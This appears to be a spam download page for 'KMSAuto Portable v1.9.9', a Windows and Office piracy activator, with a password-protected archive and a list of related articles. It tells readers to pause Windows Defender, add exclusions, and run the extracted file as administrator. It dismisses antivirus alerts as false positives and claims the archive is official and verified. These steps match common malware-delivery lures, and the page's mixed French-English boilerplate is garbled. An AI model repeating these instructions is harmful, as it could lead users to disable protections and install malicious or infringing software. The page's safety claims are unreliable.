KMSAuto Portable v1.9.9 Télécharger Gratuit 2026 — Activateur Windows et Office
Cet article est le guide complet en français sur KMSAuto Portable v1.9.9 en 2026. KMSAuto Portable v1.9.9 — the Ratiborus build used to install and activate Microsoft Office 2024. Free direct download, password WYqejXiqBi97, no installer, no ads.
WYqejXiqBi97Cet article est le guide complet en français sur KMSAuto Portable v1.9.9 en 2026. KMSAuto Portable v1.9.9 is the build most people search for when they need to activate Office 2024 alongside Windows 11. It is a portable Ratiborus release — no installer, no registry footprint — and it ships with the Ohook patch required for Office 2021/2024 LTSC.
Why v1.9.9 specifically?
Version 1.9.9 was the first KMSAuto portable build to bundle the updated Ohook engine that targets Office 2024's new licensing endpoints. Earlier 1.5.x/1.6.x builds cannot activate Office 2024 — they error out with 'Product key not found'.
Install Office 2024 with KMSAuto Portable v1.9.9
Five steps, under 2 minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click KMSAuto.exe and choose 'Run as administrator'
- Click the green Activation button — HWID for Windows, Ohook for Office
- Wait for 'Successfully activated' and reboot
What it activates
Full coverage of every modern Office and Windows SKU.
- Office 2024 (LTSC, Retail, Volume)
- Office 2021 / 2019 / 2016
- Microsoft 365 Apps for Enterprise
- Windows 11 24H2 / 25H2 / Windows 10 22H2
- Windows Server 2025 / 2022 / 2019
v1.9.9 vs 2026 build
v1.9.9 is the proven workhorse for Office 2024. The 2026 build (v3.10) adds TSforge for ARM64 — pick that one only if you are on a Snapdragon X / Surface Pro X device.
Frequently asked questions
▸Is this build official?
Yes — it is the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. The archive password is WYqejXiqBi97.
▸Does it work on Windows 11?
Yes. All modern KMS Auto builds (1.5.x, 1.6.x, 1.9.x, 2026 portable) activate Windows 11 — including 24H2 and 25H2 — using HWID.
▸Does it activate Office 2019/2021/2024?
Yes. Office 2019, 2021, 2024 and Microsoft 365 are activated via the Ohook patch — permanent, offline, key-less.
▸Will antivirus flag it?
Every KMS activator is flagged as HackTool because it edits Windows licensing — that is a false positive. Add the folder to Defender exclusions before extracting.
▸Is there a newer version?
Yes — the 2026 build (v3.10) is mirrored on this site with a single direct download. Older builds (1.3.8, 1.4.9, 1.5.5, 1.9.9) remain available for legacy hardware.
Read this article in another language
Related articles
KMSAuto Polski Télécharger Gratuit 2026 — Activateur Windows et Office
Cet article est le guide complet en français sur KMSAuto Polski en 2026. Pobierz KMSAuto Net 2026 po polsku — aktywator Windows 11 i Office 2024.
Read article →
Comment Activer Windows 11 22H2 Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Windows 11 22H2 en 2026. Activate Windows 11 22H2 free with HWID or KMS38 — both still work in 2026.
Read article →
Comment Activer Windows 10 Home Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Windows 10 Home en 2026. Activate Windows 10 Home with HWID — permanent digital license for retail laptops.
Read article →
KMSAuto Hrvatski Télécharger Gratuit 2026 — Activateur Windows et Office
Cet article est le guide complet en français sur KMSAuto Hrvatski en 2026. Preuzmite KMSAuto Net 2026 na hrvatskom — besplatni aktivator za Windows i Office.
Read article →
Error 0xC004F015 — Dépannage 2026
Cet article est le guide complet en français sur Error 0xC004F015 en 2026. 0xC004F015 means the product key SKU doesn't match the installed edition. KMSAuto picks the right GVLK automatically.
Read article →
Comment Activer PowerPoint Activator Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur PowerPoint Activator en 2026. Activate Microsoft PowerPoint (2016-2024 + 365) free via Ohook. Works offline, no key required.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97